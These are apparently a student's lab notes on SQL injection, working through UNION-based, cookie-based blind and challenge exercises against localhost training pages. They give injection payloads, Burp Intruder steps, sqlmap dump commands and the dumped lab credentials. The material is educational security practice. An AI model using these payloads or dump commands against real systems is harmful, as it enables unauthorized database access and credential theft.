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Web App - SQL Injection

➡️ A SQL injection attack consist of an injection of a (malicious) SQL query via the user input from the client to the application, allowing attackers to read, modify, or delete database data, execute administrative operations, access files, or issue OS commands.

SQL injection - UNION

# Basic SQLi

# Try some Username inputs like
jeremy
jeremy'
jeremy"
jeremy j
# special characters can break the SQL query

jeremy' or 1=1#
jeremy' or 1=1-- -
# 1=1 statement is always true -> the result is always true
# anything after #, -- -, etc, will be ignored

# UNION
jeremy' union select null#
jeremy' union select null,null,null#
jeremy' union select null,null,version()#
jeremy' union select null,null,table_name from information_schema.tables#
jeremy' union select null,null,column_name from information_schema.columns#

jeremy' union select null,null,password from injection0x01#

SQL injection - Blind

  • Run BurpSuite, set http://localhost/ as project (target) Scope and login as jeremy:jeremy at http://localhost/labs/i0x02.php

  • Check the Request and Response in the BurpSuite HTTP history

# Request
POST /labs/i0x02.php HTTP/1.1
Host: localhost
Content-Length: 31
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="133", "Not(A:Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Accept-Language: en-US,en;q=0.9
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/labs/i0x02.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

username=jeremy&password=jeremy
# Response
HTTP/1.1 200 OK
Date: Mon, 24 Feb 2025 20:56:29 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Set-Cookie: session=6967cabefd763ac1a1a88e11159957db; expires=Mon, 24-Feb-2025 21:56:29 GMT; Max-Age=3600
Refresh: 0; url=/labs/i0x02.php
Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: *
Content-Length: 1928
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html>
<html lang="en">
...
</html>

  • Set-Cookie: session=... - important session token

    • The followed GET requests had the Cookie: session=... header set - login ok

  • Content-Length: 1027 - may be necessary

  • Test for injections by sending to Repeater the POST request and modify it

# Payload
username=jeremy&password=password

# Response
Content-Length: 2122
# there is a SQL error
username=jeremy'+or+1%3d1%23&password=password
# URL-encoded key characters (CTRL+U)

# Response
Content-Length: 2122
# there is a SQL error

  • Try to automate the process with sqlmap

➡️ sqlmap - automatic SQL injection and database takeover tool

  • Copy the Request into a new file

sqlmap -r req.txt
# no injectable testd parameters
sqlmap -r req.txt

  • Send the GET request with the Cookie to the repeater

# Successful login
Content-Length: 1027

# With Cookie modified
Content-Length: 1928 # no login

# With Cookie injected
Cookie: session=6967cabefd763ac1a1a88e11159957db' and 1=1#

Content-Length: 1027 # and login success

📌 Modifying or manipulating the session cookie by injecting SQL and receiving the same successful response suggests the presence of SQL injection

# substring e.g.
Cookie: session=6967cabefd763ac1a1a88e11159957db' and substring('a', 1, 1) = 'a'#

Cookie: session=6967cabefd763ac1a1a88e11159957db' and substring((select version()), 1, 1) = '8'#

Cookie: session=6967cabefd763ac1a1a88e11159957db' and substring((select version()), 1, 4) = '8.0.'#

Cookie: session=6967cabefd763ac1a1a88e11159957db' and substring((select version()), 1, 5) = '8.0.3'#
# version enumeration Successfully

Cookie: session=6967cabefd763ac1a1a88e11159957db' and substring((select password from injection0x02 where username = 'jessamy'), 1, 1) = 'a'#
# takes too long manually

  • Extract jessamy's password via Intruder

    • send the Request to Intruder

    • set the last letter a of the inject as Position

    • add all keyboard letters to the payload simple list

    • start attack

    • filter by length or status code

Intruder Sniper attack

  • Continue the attack with Intruder or proceed with sqlmap

nano req2.txt # paste the Request with unmodified Cookie

sqlmap -r req2.txt --level=2

---
Parameter: session (Cookie)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: session=6967cabefd763ac1a1a88e11159957db' AND 9663=9663 AND 'XdcY'='XdcY

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: session=6967cabefd763ac1a1a88e11159957db' AND (SELECT 9555 FROM (SELECT(SLEEP(5)))biVe) AND 'bAxW'='bAxW
---
# Dump
sqlmap -r req2.txt --level=2 --dump -T injection0x02

Database: peh-labs
Table: injection0x02
[2 entries]
+-------+----------+----------+---------+
| email	| password | username | session |
+-------+----------+----------+---------+
| [email protected]  | jeremy | jeremy | 6967cabefd763ac1a1a88e11159957db |
| [email protected] | ZWFzdGVyZWdn | jessamy  | 9dedc6891e2839a791ed37157f1241fe |
+-------+----------+----------+---------+

SQL injection - Challenge

  • http://localhost/labs/i0x03.php

  • Find credentials and login into the users table

# Request
POST /labs/i0x03.php HTTP/1.1
Host: localhost
Content-Length: 28
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="133", "Not(A:Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Accept-Language: en-US,en;q=0.9
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/labs/i0x03.php
Accept-Encoding: gzip, deflate, br
Cookie: session=6967cabefd763ac1a1a88e11159957db
Connection: keep-alive

product=Shougatsu+Sushi+Rack
x' or 1=1#
# returns all the products

Senpai Knife Set' union select null,null,null,null#
# the products table may have only 4 columns

Senpai Knife Set' union select null,null,null,table_name from information_schema.tables#
	injection0x03_products
	injection0x03_users
Senpai Knife Set' union select null,null,null,column_name from information_schema.columns#
	mfa
	password
	username

Senpai Knife Set' union select null,null,null,username from injection0x03_users#
	takeshi

Senpai Knife Set' union select null,null,null,password from injection0x03_users#
	onigirigadaisuki

# One query
Senpai Knife Set' union select username,password,null,null from injection0x03_users#
	takeshi:onigirigadaisuki # Creds found

  • Test with sqlmap

nano req3.txt

sqlmap -r req3.txt -T injection0x03_users --dump

---
Database: peh-labs
Table: injection0x03_users
[1 entry]
+------------------+----------+
| password         | username |
+------------------+----------+
| onigirigadaisuki | takeshi  |
+------------------+----------+
---
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